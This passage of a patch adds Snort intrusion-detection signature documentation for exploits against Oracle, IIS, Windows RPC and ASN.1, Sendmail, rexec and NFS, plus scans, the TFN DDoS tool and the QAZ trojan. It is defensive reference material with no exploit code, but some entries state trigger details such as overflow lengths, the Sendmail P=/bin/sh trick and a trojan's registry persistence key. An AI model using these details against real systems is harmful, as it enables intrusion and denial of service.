+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_master_repgroup
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1340.txt
+++ snort-2.8.5.2/doc/signatures/1340.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1340
+
+--
+Summary:
+Attempted tfp command access via web
+
+--
+Impact:
+Possible attempt to gain information using the Trivial File Transfer
+Protocol (tfp) to  access sensitive files on a webserver. It is also
+possible that an  attempt is being made to remotely boot or reboot a
+device using  tfp.
+
+--
+Detailed Information:
+This is an attempt to gain intelligence from sensitive system files on a
+webserver.  Tftp is a variation of the File Transfer Protocol that can
+be used to  transfer files from one host to another, one feature it has
+is that it  can be used to boot or reboot various network devices
+without authentication  being needed. The attacker could possibly gain
+information needed  for other attacks on the system, including the
+retrieval of password  files.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'tfp' in the
+URI which can  then return requested files to an external server.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside  of it's designated web root or cgi-bin. This command may also
+be requested  on a command line should the attacker gain access to the
+machine.  Non-essential binaries should be removed from a webserver once
+it is in  production.
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+CERT
+http://www.cert.org/advisories/CA-1990-02.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/638.txt
+++ snort-2.8.5.2/doc/signatures/638.txt
@@ -0,0 +1,65 @@
+Rule: 
+
+--
+Sid: 638
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing IRIX MIPS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+-- 
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS356
+
+Phrack.com:
+http://www.phrack.com/show.php?p=56&a=15
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3417.txt
+++ snort-2.8.5.2/doc/signatures/3417.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3417
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2385.txt
+++ snort-2.8.5.2/doc/signatures/2385.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+2385
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000158.txt
+++ snort-2.8.5.2/doc/signatures/100000158.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000158
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of SIP INVITE messages 
+is received in a short time frame.
+
+--
+Impact:
+This can be an indication of a denial of service attack in progress, or simply 
+a poorly configured or implemented user agent.
+
+--
+Detailed Information:
+This rule is used to detect overly large numbers of SIP INVITE messages coming 
+into hosts on an internal network, which may indicate a denial of service 
+attack in progress. Since this traffic could also be the the result of a poorly 
+configured user agent, or simply a very busy SIP proxy, careful analysis of 
+both the hosts receiving and sending this traffic is required before 
+determining that an attack has actually taken place.
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to flood a system with INVITE messages, causing 
+a denial of service.
+
+--
+Ease of Attack:
+Simple, as SIP is a public, well-documented protocol.
+
+--
+False Positives:
+Known SIP proxies may receive a high volume of legitimate INVITE requests, and 
+NAT devices may appear to be sending a larger number of INVITE requests than a 
+regular host. It is recommended that users whitelist known SIP proxies and NAT 
+devices.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/989.txt
+++ snort-2.8.5.2/doc/signatures/989.txt
@@ -0,0 +1,63 @@
+Changed message since it really didn't reflect what was happening
+Rule:
+
+--
+Sid:
+989
+
+--
+Summary:
+This event is generated when an attempt is made to access the sensepost.exe file. 
+
+--
+Impact:
+Remote access. This attack may permit the execution of arbitrary commands on the vulnerable server. 
+
+--
+Detailed Information:
+A vulnerability associated Microsoft Internet Information Services (IIS) servers allows an attacker to escape the web root directory (inetpub) permitting navigation to unauthorized directories.  This vulnerability is exploitable by encoding characters in unicode because unauthorized directory traversal is not examined after the unicode decoding.  A widely available script exploits this vulnerability and copies the \winnt\system32\cmd.exe file to \inetpub\scripts\sensepost.exe, essentially allowing an attacker to execute arbitrary commands on the vulnerable host even after the patch has been applied. 
+
+--
+Affected Systems:
+Microsoft IIS 4.0, 5.0 
+
+--
+Attack Scenarios:
+An attacker can attempt to access the sensepost.exe file to execute arbitrary commands on the exploited server. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884
+
+Bugtraq
+http://www.securityfocus.com/bid/1806
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/813.txt
+++ snort-2.8.5.2/doc/signatures/813.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+813
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1593.txt
+++ snort-2.8.5.2/doc/signatures/1593.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1593
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3192.txt
+++ snort-2.8.5.2/doc/signatures/3192.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+3192
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a host via a
+vulnerability in Windows Media Player.
+
+--
+Impact:
+Serious. Code execution leading to unauthorized administrative access
+to the target host.
+
+--
+Detailed Information:
+A directory traversal vulnerability in Windows Media Player can be
+exploited via a malicious skin file downloaded from a remote machine.
+This may allow an attacker to execute code of their choosing on an
+affected host and gain administrative access to that host.
+
+--
+Affected Systems:
+	Microsoft Windows Media Player 7.1
+	Windows Media Player for Windows XP
+
+--
+Attack Scenarios:
+An attacker can create a malformed skin file and make it available for
+automatic download and installation by a user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3044.txt
+++ snort-2.8.5.2/doc/signatures/3044.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3044
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2247.txt
+++ snort-2.8.5.2/doc/signatures/2247.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+2247
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Persits AspUpload application.
+
+--
+Impact:
+Information disclosure. Possible retrieval of sensitive system files. 
+Installation of arbitrary files.
+
+--
+Detailed Information:
+Under certain circumstances it is possible to retrieve information from 
+outside the web root of a server using AspUpload by utilizing a 
+directory traversal technique. The same technique can also be used to 
+upload files of the attackers choosing to other areas of the file 
+system.
+
+The vulnerability exists in the sample scripts that accompany the 
+application.
+
+--
+Affected Systems:
+	AspUpload 2.1
+	
+--
+Attack Scenarios:
+The attacker can use a simple directory traversal technique when 
+supplying the filename for upload.
+
+--
+Ease of Attack:
+Simple. NO exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Remove the sample scripts installed by the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3608
+
+--
--- snort-2.8.5.2.orig/doc/signatures/636.txt
+++ snort-2.8.5.2/doc/signatures/636.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+636
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/108.txt
+++ snort-2.8.5.2/doc/signatures/108.txt
@@ -0,0 +1,99 @@
+Rule:
+
+--
+Sid:
+108
+
+--
+Summary:
+QAZ is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows executable that makes 
+changes to the system registry.
+
+The Trojan changes system startup files and registry settings to add the
+QAZ sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	108	QAZ Worm Client Login access
+	731	Virus - Possible QAZ Worm (Indicates worm activity)
+	775	Virus - Possible QAZ Worm Infection (Indicates worm activity)
+	733	Virus - Possible QAZ Worm Calling Home (Indicates the worm is trying to send mail)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+
+Registry keys added are:
+
+	StartIE=C:\WINDOWS\notepad.exe qazwsx.hsq
+
+This will start the Trojan each time notepad is executed.
+
+Look for the existence of the file note.com. The file notepad.exe may have been replaced with a Trojaned version that is approximately 120 kb in size (the original is 52 kb).
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS501
+http://www.whitehats.com/info/IDS498
+http://www.whitehats.com/info/IDS499
+
+McAfee
+http://vil.nai.com/vil/content/v_98775.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.qaz.a.html
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/qaz.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/228.txt
+++ snort-2.8.5.2/doc/signatures/228.txt
@@ -0,0 +1,61 @@
+Rule:
+--
+Sid:
+228
+
+--
+Summary:
+This event is generated when a Tribe Flood Network (TFN) Distributed Denial of Service (DDoS) client communicates with the TFN handler daemon to spawn a shell.
+
+--
+Impact:
+Attempted DDoS.  If the listed source IP is in your network, it may be a TFN client.  If the listed destination IP is in your network, it may be a TFN handler daemon.
+
+--
+Detailed Information:
+The TFN DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Clients communicate with daemons to direct them to launch attacks. A client will communicate with a daemon to spawn a shell via an ICMP echo reply with an ICMP identification number of 456 and an ICMP sequence number of 0.  
+
+--
+Affected Systems:
+Any TFN compromised host.
+
+--
+Attack Scenarios:
+After a host becomes a TFN client, it will attempt to communicate with other TFN handler daemons.
+
+--
+Ease of Attack:
+Simple. TFN code is freely available.
+
+--
+False Positives:
+It is possible that this is a legitimate echo reply to a previous echo request that had an ICMP identification value of 456 and an ICMP sequence number of 0.  
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+Arachnids:
+http://www.whitehats.com/info/IDS184
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2185.txt
+++ snort-2.8.5.2/doc/signatures/2185.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2185
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in the xlog function of certain Linux NFS Utils packages.
+
+Specifically this event is generated when UDP is used as the attack medium.
+
+--
+Impact:
+Denial of Service (DoS), possible arbitrary code execution.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol. A vulnerability exists in some versions of the Linux NFS Utilities package prior to 1.0.4 that can lead to the possible execution of arbitrary code or a DoS against the affected server.
+
+A programming error in the xlog function may be exploited by an attacker by sending RPC requests to mountd that do not contain any newline characters. This causes a buffer to overflow thus presenting the attacker with the opportunity to execute code.
+
+--
+Affected Systems:
+Systems using Linux NFS Utils prior to version 1.0.4.
+
+--
+Attack Scenarios:
+An attacker may send a specially crafted RPC request that does not 
+contain any newline characters to the NFS server via TCP or UDP.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/547.txt
+++ snort-2.8.5.2/doc/signatures/547.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+547
+
+--
+Summary: 
+This event is generated when an attempt is made to create a directory name that begins with a space on an FTP server.
+
+--
+Impact: 
+Unauthorized file storage.  An attacker may attempt to create a directory name that begins with a space on an FTP server, possibly in preparation to store unauthorized files.
+
+
+--
+Detailed Information: 
+An attacker may attempt to create a hidden directory name that begins with a space on an FTP server .  This hidden directory is hard to discover, permitting attackers to store unauthorized "warez" files, such as unlicensed or pirated software.
+
+
+--
+Affected Systems: 
+FTP servers
+
+--
+Attack Scenarios: 
+An attacker may attempt to create a hidden directory name that begins with a space to store unauthorized files.
+
+--
+Ease of Attack: 
+Simple
+
+--
+False Positives: 
+None Known.
+
+--
+False Negatives: 
+Hidden directories other than those with a name that begins with a space may be created to store "warez" files.
+
+--
+Corrective Action: 
+Assign restrictive permissions to all directories so unauthorized users cannot navigate or write to them.
+
+Regularly monitor directories for sudden or drastic increased use of space.
+
+--
+Contributors: 
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/668.txt
+++ snort-2.8.5.2/doc/signatures/668.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+668
+
+--
+Summary:
+This event is generated when an external attacker attempts to exploit a vulnerability in Sendmail, where tab characters in ident messages are not properly parsed.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Sendmail 8.6.10 and earlier versions contain a vulnerability related to the parsing of tab characters in commands passed from ident to Sendmail. An attacker can use a specially crafted command with tabs in an ident response to Sendmail. The message is not properly parsed and Sendmail forwards the response, with included commands, to its queue. The commands are then executed while the message awaits delivery in the Sendmail queue, causing the included arbitrary code to be executed on the server in the security context of Sendmail. 
+
+--
+Affected Systems:
+Systems running unpatched versions of Sendmail 8.6.10 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends an email with tab characters and includes a path variable of P=/bin/sh. Directives included in the transmission are executed while the message remains in the Sendmail queue.
+
+--
+Ease of Attack:
+Moderate. Multiple exploits exist, but the window of opportunity is small; the vulnerability must be exploited while the message is queued for delivery and must have sufficient time (the mail server must be busy/slow) to execute the commands.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of Sendmail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0203
+
+Bugtraq
+http://www.securityfocus.com/bid/2311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2104.txt
+++ snort-2.8.5.2/doc/signatures/2104.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2104
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability in the rexec daemon is unsucessful. This event is an indication that someone supplied an overly long username to the rexec daemon.
+
+--
+Impact:
+Serious.  An attacker may gain escalated privileges offering super user access on the affected host.
+
+--
+Detailed Information:
+Rexec offers users the ability to execute commands on a host from remote locations.
+
+A vulnerability exists such that an when an overly long username is supplied to the rexec daemon, a buffer overflow condition may occur thus presenting the attacker with the opportunity to execute arbitrary code and possibly gain escalated privileges on the target host.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disallow rexec commands from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2552.txt
+++ snort-2.8.5.2/doc/signatures/2552.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2552
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3110.txt
+++ snort-2.8.5.2/doc/signatures/3110.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3110
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
